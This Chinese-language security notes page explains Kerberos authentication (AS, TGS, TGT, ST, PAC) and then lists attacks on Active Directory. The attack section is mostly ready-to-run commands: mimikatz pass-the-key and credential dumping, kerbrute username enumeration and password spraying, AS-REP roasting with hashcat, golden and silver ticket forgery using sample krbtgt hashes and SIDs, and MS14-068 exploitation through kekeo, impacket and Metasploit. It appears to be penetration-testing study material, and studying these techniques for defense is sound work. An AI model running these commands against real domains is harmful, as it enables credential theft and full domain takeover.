Kerberos协议

Kerberos是一种网络身份验证协议,旨在提供安全的身份验证服务。它由麻省理工学院提出,基于公私钥加密体制。Kerberos通过使用加密票证实现身份认证,主要由三个部分组成:Key Distribution Center (KDC)、Client和Service。KDC负责发放加密票证,Client使用票证向KDC请求服务凭据,然后向Service提供票证以访问服务。这种协议可用于确保通信双方的身份真实性和通信安全性

名词解释

  • 客户端 Client:需要访问网络资源的用户或应用程序。
  • 服务端 Server:提供网络资源的实体,可以是文件服务器、打印机等。
  • 密钥分发中心 KDC (Key Distribution Center):KDC中分成 Authentication Service (AS)Ticket Granting Service (TGS) 两个部分,负责管理身份验证和密钥分发。

    • Authentication Service(AS):身份验证服务(认证服务器)。负责最初的身份验证。客户端向AS发送身份验证请求,AS验证用户身份并颁发TGT(Ticket Granting Ticket)票据。
    • Ticket Granting Service(TGS):票据授予服务。负责颁发服务票据。客户端使用AS颁发的票据请求TGS颁发ST(Server Ticket)服务票据。
    • KDC服务会默认安装在一个域的域控中,其中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号
  • 票据授予票据 TGT(Ticket Granting Ticket):包含了客户端的身份信息以及TGS的密钥,用于安全地向TGS请求服务票据。

  • 服务票据 ST(Service Ticket、TGS票据):用于客户端和服务端之间的安全通信的加密令牌,包含了客户端的身份信息、服务端的身份信息和有效期。
  • 会话密钥(Session Key): 用于客户端和服务端之间的加密通信的对称密钥,在客户端获得TGS票据后,TGS票据中包含了一个会话密钥,客户端和服务端在建立连接时,使用会话密钥对通信进行加密和解密。
  • PAC(Privilege Attribute Certificate):用于验证用户权限的特权属性证书。它通常包含在TGT(Ticket Granting Ticket)中,用于确定用户所拥有的权限。PAC由用户信息和数字签名两部分组成,用户信息包括用户的SID、组的SID等,而数字签名用于验证用户信息的合法性。PAC对于客户端和服务全程都是不可见的,只有KDC能制作和查看PAC。

认证过程

Kerboeros 协议认证过程中,会用到两个基础认证模块,分别是 AS_REQ&AS_REPTGS_REQ&TGS_REP ,以及在认证过程中可能会使用到的 S4UPAC 这两个认证模块。

  • AS_REQ&AS_REP:Client与AS之间的认证使用,目的是获取TGT
  • TGS_REQ&TGS_REP:Client与TGS之间认证使用,目的是获取ST

Kerberos认证过程如下图所示

img

简单说明如下:

  1. Client向KDC的AS认证服务请求TGT票据;请求凭据是Client hash加密的时间戳(AS_REQ
  2. KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据;TGT里面包含PAC,PAC包含Client的sid,Client所在的组。(AS_REP
  3. Client带上TGT票据,向KDC的TGS认证服务请求针对特定服务的ST服务票据(TGS_REQ
  4. KDC使用krbtgt hash进行解密,如果结果正确,就返回用 Server hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)(TGS_REP
  5. Client使用TGS票据(ST)向Server请求服务(AP_REQ
  6. 服务使用自己的 hash 解密 TGS票据,如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC,获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。(AP_REP

比喻举例说明如下:

场景:小明忘带身份证坐火车,小明是Client,坐火车是Server,KDC则是火车站

  1. 小明向火车站(KDC AS)证明自己的身份,申请临时身份证明
  2. 火车站验证通过后,给小明颁发临时身份证明(TGT)
  3. 小明拿着临时身份证明(TGT)去火车站(KDS TGS)购票
  4. 火车站验证通过后,给小明发放了火车票(ST)
  5. 小明拿着火车票(ST)上坐火车
  6. 检票人员会检查票(ST)的有效性,以此决定是否放行

详细说明如下:

  1. 客户端向KDC的AS请求申请TGT:客户端本机的Kerberos服务会向KDC的AS认证服务发送AS-REQ认证请求,请求内容包括了客户端的个人信息即principal如用户名,以及说明要请求什么服务、目标服务的主机名等信息,也告诉AS自己将与TGS通信。除此之外为了防止别人伪造这个客户端的身份以及重放,还要求发送一个认证因子authenticator,这个认证因子需要使用客户端的hash来加密一个时间戳。

  2. KDC的AS向客户端的请求做出响应发放TGT:AS收到了客户端的请求之后,会查询AD目录找到该客户端的hash,然后对时间戳进行解密,如果解密失败说明用于加密的hash是错误的,同时验证是否为受到了重放攻击。

    在AS验证通过之后,AS会生成 login session keyTGTlogin session key 使用客户端的hash加密,TGT使用krbtgt的hash进行加密,最后再将加密后的login session keyTGT以及一些其他相关信息打包发送给客户端。

  3. 客户端向KDC的TGS请求申请ST:客户端收到了KDC的的响应包之后会将收到的TGT存储在本地,并使用自己的hash将对应使用自己的hash加密的信息进行解密,获取到AS生成的login session key,然后客户端使用login session key去加密时间戳然后与收到的TGT、需要的服务名字、自己的相关信息一同打包发送到KDC的TGS。

  4. KDC的TGS向客户端的请求做出响应发放ST:当TGS接收到请求之后,会检查自身是否存在客户端请求的服务,如果存在就会拿ktbtgt hash解密TGT,解密到的信息中包含了login session key,此时就可以用其解密获取到时间戳并验证时间戳。

    通过验证后,KDC会生成一个service session key,用于客户端和服务端直接的安全通信,并且为客户端生成ST服务票据(该票据是由客户端信息和service session key打包后用服务端的hash加密的)。后会将service session key用之前的login session key加密后和ST一同打包发送给客户端。

  5. 客户端向服务端请求:客户端接收到了TGS的响应后,会将ST存储起来,同时利用login session key解密获取到service session key,用于与服务端通信,然后客户端用service session key加密客户端信息、时间戳,再和 ST 打包一起发送给服务端验证。

  6. 服务端向KDC的请求验证:服务端接收到客户端发送的请求后,用自己的hash解密ST,能够拿到客户端信息和service session key,再用service session key去解密客户端发来的客户端信息和时间戳,通过比对来判断是否伪造和重放

    通过验证后,服务端会向KDC请求,将PAC发送给KDC进行验证

  7. KDC向服务端响应:KDC将会对服务端发来的PAC进行验证,解密并查看PAC,获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

  8. 服务端向客户端响应:服务端会生成一个票据,该票据包括客户端身份信息、服务端的身份信息,使用之前获得的service session key去加密该票据信息并发送给客户端,然后客户端就可以正常获取到服务端的服务了。

6、7 两步不一定发生,需要配置验证KDC PAC 签名,如果没有配置,那么可能会导致白银票据攻击。

攻击面

https://daiker.gitbook.io/windows-protocol/kerberos/1

AS-REQ

PTK

pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似 PTH 的功能;简单来说就是使用AES256或者AES128的方式进行传递。

注:PTK也不是随时都能用的,需要满足如下条件

ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.

使用mimikatz获取aes key

mimikatz "privilege::debug" "sekurlsa::ekeys"

PTK

mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:<获取到的aes128_hmac值>" 
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:<获取到的aes256_hmac值>"

导入后可直接进行远程连接,如 dir \\xxxxx\c$

用户名枚举

用户存在但密码错误时,kerberos会返回KDC_ERR_PREAUTH_FAILED,当用户名不存在时会返回KDC_ERR_C_PRINCIPAL_UNKNOWN。基于此能在域外对域内的用户进行用户名爆破。

使用kerbrute进行测试

kerbrute_windows_amd64.exe userenum -d org.gm7 username.txt

Password Spraying

密码喷洒攻击,就是通过固定密码去批量暴破用户;和用户名枚举类似,如果密码错误会返回 KDC_ERR_PREAUTH_FAILED,密码正确则直接返回TGT

使用kerbrute进行测试

kerbrute_windows_amd64.exe passwordspray -d org.gm7 username.txt 单个密码

AS-REP

AS-REP Roasting

在用户开启Dot not require Kerberos preauthentication(不要求 Kerberos 预身份验证)时,此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成Kerberos 5 AS-REP etype 23 (18200) 的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。

个人感觉局限性太大了

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose  # 查找符合条件的用户
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast -Verbose |fl  //导出可用用户hash
hashcat -m 18200 '获取的hash,拼接成hashcat能够识别的格式需要在$krb5asrep后面添加$23' password.lst -o found.txt --force # 使用hashcat破解

黄金票据

AS-REP中AS返回给client的 TGT 中的 enc-part 是使用 krbtgt 用户的hash进行加密的,所以如果我们获取了krbtgt的hash就可以伪造任意用户登录域控,虽然域内用户密码常会修改,但是krbtgt是很少修改的。

常用于权限维持

使用mimikatz获取krbtgt的SID和hash

mimikatz "lsadump::dcsync /domain:org.gm7 /user:krbtgt" "exit"

sid+hash

SID: S-1-5-21-1878822121-1315641291-3131639831
Hash NTLM:bee81afcc4a3097e0e236c31cafa4ab1
domain:org.gm7

在任意电脑中使用mimikatz中伪造票据

# 清除票据缓存
kerberos::purge

# 生成票据,伪造 Administrator
kerberos::golden /admin:Administrator /domain:org.gm7 /sid:S-1-5-21-1878822121-1315641291-3131639831 /krbtgt:bee81afcc4a3097e0e236c31cafa4ab1 /ticket:Administrator.kiribi

# 导入票据
kerberos::ptt Administrator.kiribi

# 查看票据
kerberos::list

此时就可以远程访问DC了

dir \\PDC\c$
PsExec.exe \\PDC.org.gm7 cmd

TGS-REP

PTT

票据传递攻击(PTT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法;最常见的用途可能是使用黄金票据白银票据

Kerberoasting

Kerberos协议进行到第四步的时候,不管客户端有无权限,只要TGT正确,就返回TGS票据(服务票据);也就是说域内任何用户都可以向域内任何服务请求TGS票据,再加上TGS票据的生成是使用服务账户的hash进行RC4-HMAC算法加密,站在利用的角度,我们是可以尝试使用强大的字典进行暴力破解TGS票据

参考:SPN介绍和利用

白银票据

在TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据;

和黄金票据类似,不过白银票据伪造的是ST,通过获得服务的服务账号和密码来生成一张可以访问该服务的ST服务票据,如LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

但又和黄金票据不同,黄金票据通过krbtgt的hash伪造TGT,拥有非常高的权限;而白银票据通过服务的hash伪造TGS票据,只能访问特定的服务,不需要和KDC交互。

伪造的白银票据不带有有效KDC签名的PAC,如果将目标主机配置为验证KDC PAC签名,那么银票将不起作用

使用mimikatz获取服务用户的SID和hash

mimikatz "privilege::Debug" "sekurlsa::logonpasswords" "exit"

sid+hash

伪造白银票据

mimikatz "kerberos::golden /domain:org.gm7 /sid:S-1-5-21-1878822121-1315641291-3131639831 /target:DESKTOP-9CAT508.org.gm7 /service:cifs /rc4:3ac1e294fabedf7d2bfa80fec59f59b9 /user:d4m1ts /ptt" "exit"

常见的服务列表

Service Type Service Silver Tickets
WMI HOST RPCSS
PowerShell Remoting HOST HTTP
WinRM HOST HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS LDAP CIFS

服务的利用范围可参考:Kerberos的白银票据详解

PAC

简介

PAC是用于验证用户权限的特权属性证书。它通常包含在TGT(Ticket Granting Ticket)中,用于确定用户所拥有的权限。PAC由用户信息和数字签名两部分组成,用户信息包括用户的SID、组的SID等,而数字签名用于验证用户信息的合法性。PAC对于客户端和服务全程都是不可见的,只有KDC能制作和查看PAC。

简单来说,kerberos协议基础情况下只解决了认证的问题,拿到了ST就可以访问对应的服务,但并没有解决权限的问题,也就是说服务怎么判断用户是否有权限访问使用呢?为了解决上面的这个问题,微软引进了PAC,也就是上面详细说明的6、7步骤

image-20240320下午43605032

MS14-068 (CVE-2014-6324)

MS14-068 (CVE-2014-6324) 是微软于 2014 年 11 月发布的补丁 (KB3011780) 中修复的一个漏洞,该漏洞允许攻击者以任意用户的权限提升到域管理员帐户权限,漏洞影响 Windows Server 2003Windows Server 2012 R2 期间的 Windows 版本

该漏洞最本质的地方在于Microsoft Windows Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书(PAC)中的有效签名,导致用户可以自己构造一张PAC。

在 KDC 对 PAC 进行验证时,对于 PAC 尾部的签名算法,本的设计是要用到HMAC系列的checksum算法,也就是必须要有key的参与,但微软在实现上,却允许任意checksum算法,包括MD5,因此只需要把篡改后的 PAC 进行MD5,就可以生成新的校验和,再指定签名算法为MD5,KDC 就会使用指定的MD5算法进行签名验证,也就达到了伪造PAC的目的。

漏洞自查:

若是受影响的 Windows 版本,漏洞自检可在域控命令查询是否打补丁:

systeminfo |findstr "KB3011780"
wmic qfe GET hotfixid |findstr "KB3011780"

漏洞利用:

  • kekeo
kekeo.exe "exploit::ms14068 /domain:org.gm7 /user:d4m1ts /password:KsadiN8A.as221 /sid:S-1-5-21-1878822121-1315641291-3131639831-1108 /ptt" "exit"
  • impacket
python3 goldenPac.py -dc-ip 172.16.93.15 -target-ip 172.16.93.15 org.gm7/d4m1ts:[email protected]
  • msf
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
python ms14-068.py -u [email protected] -p KsadiN8A.as221 -s S-1-5-21-1878822121-1315641291-3131639831-1108 -d PDC.org.gm7

参考

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-03-22 09:43:41

results matching ""

    No results matching ""